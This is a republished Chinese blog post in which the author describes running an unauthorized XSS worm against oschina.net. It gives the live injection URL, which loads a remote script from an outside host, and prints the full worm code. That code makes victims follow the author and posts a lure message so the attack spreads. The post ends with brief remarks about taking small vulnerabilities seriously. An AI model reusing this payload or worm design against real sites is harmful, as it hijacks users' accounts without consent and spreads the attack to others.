网站地图    收藏   

主页 > 后端 > 网站安全 >

对oschina的一次友情xss测试 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 早上起床,发现断网了.大家只能上局域网.另外昨晚友情做的一个xss检查,发现也被红薯删了.这个的xss蠕虫模拟的新浪那个(虽然没代码,功能差不多就行).以前扫osc描漏洞的时候,发现os...

早上起床,发现断网了.大家只能上局域网.
另外昨晚友情做的一个xss检查,发现也被红薯删了.
这个的xss蠕虫模拟的新浪那个(虽然没代码,功能差不多就行).
以前扫osc描漏洞的时候,发现osc没有。
这次是先有这个帖子讨论osc的xss漏洞,刚好最近对xss感兴趣,就友情探测一次.
这次发现的xss入口是在:
http://my.oschina.net/samshuai?ft=代码
 
然后利用xss调用自己的代码:
 
http://my.oschina.net/samshuai?ft=%22/%3E%3Cscript%20type=%22text/javascript%22%20src=%22http://cdn.magentochina.org/js/joke.js%22%3E%3C/script%3E%3Ca%20%22
 
远程joke.js代码如下:

</div>
<div>
<pre>(function($) {
    $.cookie = function(key, value, options) {
 
        // key and at least value given, set cookie...
        if (arguments.length &gt; 1 &amp;&amp; (!/Object/.test(Object.prototype.toString.call(value)) || value === null || value === undefined)) {
            options = $.extend({}, options);
 
            if (value === null || value === undefined) {
                options.expires = -1;
            }
 
            if (typeof options.expires === 'number') {
                var days = options.expires, t = options.expires = new Date();
                t.setDate(t.getDate() + days);
            }
 
            value = String(value);
 
            return (document.cookie = [
                encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value),
                options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
                options.path ? '; path=' + options.path : '',
                options.domain ? '; domain=' + options.domain : '',
                options.secure ? '; secure' : ''
            ].join(''));
        }
 
        // key and possibly options given, get cookie...
        options = value || {};
        var decode = options.raw ? function(s) { return s; } : decodeURIComponent;
 
        var pairs = document.cookie.split('; ');
        for (var i = 0, pair; pair = pairs[i] &amp;&amp; pairs[i].split('='); i++) {
            if (decode(pair[0]) === key) return decode(pair[1] || ''); // IE saves cookies with empty string as "c; ", e.g. without "=" as opposed to EOMB, thus pair[1] may be undefined
        }
        return null;
    };
})(jQuery);
var uid = $("input[name=user]").attr("value");
var action = "/action/user/follow";
var msg = "快来看红薯果照啊:http://goo.gl/CGsYh"
function follow() {
    ajax_post(action,"id="+uid,true);
}
 
function postMsg(){
    ajax_post("/action/tweet/pub","msg="+msg+uid);
}
if (!($.cookie('sss'))){
    follow();
    postMsg();
    $.cookie('sss', '4');
}</pre>
</div>
<div>
由于做了xss之后,页面会有多个代码执行。
所以先用了jquery.cookie控制代码.然后判断cookie是否存在,然后进行操作。
这段javascript的动作有两个.
1.首先粉我(为什么我只看到几个人粉我呢,难道是回退了数据)
2.在动态区继续发言,让更多的人来点击.
 \
有几个情况可能免疫:对红薯果照不感兴趣,安全级别设置较高,chrome,未登录,www.2cto.com成员,没有点击动弹区的链接,发现的时候外网已经断开点不开这个链接,红薯修复了.
还我粉丝…我看google的统计,不应该只有几个人follow的…
请大家注意小漏洞,不要觉得小漏洞无所谓.但是打起组合拳很厉害的..这只是一个小小的利用方式.google的一个Xss可以卖给google 500美元。
在中国,非常多的网站都不重视安全(连很多登陆都是直接http)。在wooyun上直接忽略我发的xss漏洞.
安全对网站很重要,对开源就更重要。很多实用开源的人,直接默认设置都不改。被黑了,怪人家开源软件不给力。改改文件位置,那些不就利用不鸟了么?安全是自己来做的。不要说开源不安全,闭源漏洞会更多。因为没有介绍到很多我这种小白的洗礼.
PS:这次的xss漏洞是在登陆账号的情况下用安全扫描工具扫到的.
下面介绍osc网页的blog,教大家xss原理和如何防御
最终说声:红薯我错了,再也不发红薯和水果的照片了。
 
作者:http://www.ecartchina.com

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论